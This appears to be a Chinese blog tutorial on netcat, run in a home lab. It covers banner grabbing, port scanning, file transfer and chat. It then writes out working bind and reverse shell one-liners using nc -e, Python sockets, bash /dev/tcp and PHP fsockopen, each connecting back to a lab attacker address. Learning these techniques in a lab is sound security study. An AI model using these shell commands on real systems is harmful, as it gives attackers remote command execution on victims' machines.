netcat的使用

1.什么是netcat

netcat是一款简单的unix网络工具,使用udp和tcp协议,它是一个可靠的容易被其他程序所启用的后台操作工具,同时它也被用作网络的测试工具或黑客工具。 使用它你可以轻易的建立任何连接。
其具有的功能有:
1.banner相关信息抓取
2.连接远程主机
3.端口扫描
4.监听端口
5.文件传输
6.简单聊天
7.获取shell (正向获取shell,反向获取shell,python反向shell,bash 反向shell,php反向shell,内网代理,使用exec反弹)

2.netcat的使用

查看帮助信息:

nc -h

在这里插入图片描述

-d: 后台模式
-e: 程序重定向
-g<网关>: 设置路由器跃程通信网关,最多可设置8个。
-G<指向器数目>: 设置源路由指向器的数量,值为4的倍数。
-i<延迟秒数>: 设置时间间隔,以便传送信息及扫描通信端口
-l: 使用监听模式,管理和控制传入的数据
-n: 直接使用IP地址(不通过域名服务器)
-o<输出文件>: 指定文件名称,把往来传输的数据转换为16进制字符后保存在该文件中
-p<通信端口>: 设置本机使用的通信端口
-r: 随机指定本机与远程主机的通信端口
-s<源地址>: 设置本机送出数据包的IP地址
-u: 使用UDP传输协议
-v: 详细输出
-w<超时秒数>:设置等待连线的时间
-z: 将输入/输出功能关闭,只在扫描通信端口时使用

1.banner相关信息抓取:

输入命令:nc -nv 192.168.199.129 22

在这里插入图片描述

2.远程连接主机

nc -nvv 192.168.199.129 80

192.168.199.129开启的服务

在这里插入图片描述
在这里插入图片描述
3.端口服务:
扫描指定端口:
nc -v 192.168.199.129 8088 22
扫描端口端(速度慢)
nc -v -z 192.168.199.129 20-1024
在这里插入图片描述

4.监听端口

监听本地端口,当访问该端口时会输出该信息到命令行
nc -lp 999
在这里插入图片描述
在这里插入图片描述

5.文件传输

1.首先服务器开启监听端口,并将该端口接收的信息,保存到1.txt
2.客户端连接该端口并发送信息

在这里插入图片描述
在这里插入图片描述

6.简单聊天

1.服务端开启监听端口: nc -lp 999
2.客户端进行连接: nc -vn 192.168.199.129 999
在这里插入图片描述
在这里插入图片描述

3.正向获取,反向获取shell

什么是正向获取shell
客户端连接服务器,客户端获取服务器的shell。(目标机监听,攻击机连接)
什么是反向获取shell
服务器连接客服端,客户端获取服务器的shell。(目标机发送请求,攻击机监听,并接收请求,再获得目标机的shell)

1.正向获取shell

目标机命令:
nc -lvp 999 -e /bin/sh 在linux中使用
nc -lvp 999 -e c:\windows\system32\cmd.exe 在win中使用
在这里插入图片描述

攻击机命令:
nc 192.168.199.129 999
在这里插入图片描述

2.反向shell

客户端监听,并响应请求,获取服务器的shell,服务器进行请求。通常用在开启防护措施的目标机,如防火墙过滤、端口转发的等。
(攻击机监听,目标机连接)

攻击机命令:
nc -lvp 999
在这里插入图片描述

目标机:
nc 192.168.199.150 999 -e /bin/sh 在linux中使用
nc 192.168.199.150 999 -e c:\windows\system32\cmd.exe 在win中使用
在这里插入图片描述

3.python 反向shell

攻击机(192.168.199.150):
nv -lvp 999
在这里插入图片描述
目标机(192.168.199.129):
python3 -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.199.150”,999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,“-i”]);’

在这里插入图片描述
连接成功,执行命令:
在这里插入图片描述

4.bash 反向shell

攻击机(192.168.199.150)
nc -lvp 999
在这里插入图片描述

目标机(192.168.199.129):
bash -i >& /dev/tcp/192.168.199.150/999 0>&1
在这里插入图片描述
再kail中,使用bash反向shell失败,其原因可能是:
因为我的kali用的是ubuntu,而ubuntu默认是没开bash的网络重定向选项,也就是–enable-net-redirections选项,只要把这个选项加上就好了
解决问题的方法:
解决kail,反弹shell失败问题
后续待补充

5.php反向shell

攻击机:
nc -lvp 999
目标机:
php -r ‘$sock=fsockopen(“192.168.199.150”,999);exec(“/bin/sh -i <&3 >&3 2>&3”);’
在这里插入图片描述
6.

在这里插入图片描述

4.ssh口拒绝连接的问题

192.168.199.129主机监听,端口开启情况
192.168.199.129主机监听,端口开启情况
192.168.199.150 ssh连接情况
在这里插入图片描述
192.168.199.129 按照连接进行ssh 服务开启
开启ssh服务
192.168.199.150 ssh连接情况
虽然ssh没有连接成功,但是nc 命令可以实现了
在这里插入图片描述

ssh服务没有开启

5.总结

了解了netcat的常用功能:端口扫描,文件传输,简易聊天,以及正向获取shell,反向获取shell,以及使用其他方式反向获取shell。其本质都是,客户端(hacker)进行监听,接收服务端(被攻击端)的请求,然后进行响应,获取服务端的shell,从而达到命令执行的效果。服务器发送请求的方式可以是多种的,可以使用nc,python,php,exec,bash等等。

5.参考资料

1.这可能是netcat最全的使用指南
2.用好你的瑞士军刀/netcat
3.黑客工具之Netcat详细使用教程
4.netcat使用
5.Linux Netcat 命令——网络工具中的瑞士军刀
6.反弹shell
7.kail开启ssh服务
8.反弹shell实践

  • 1
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值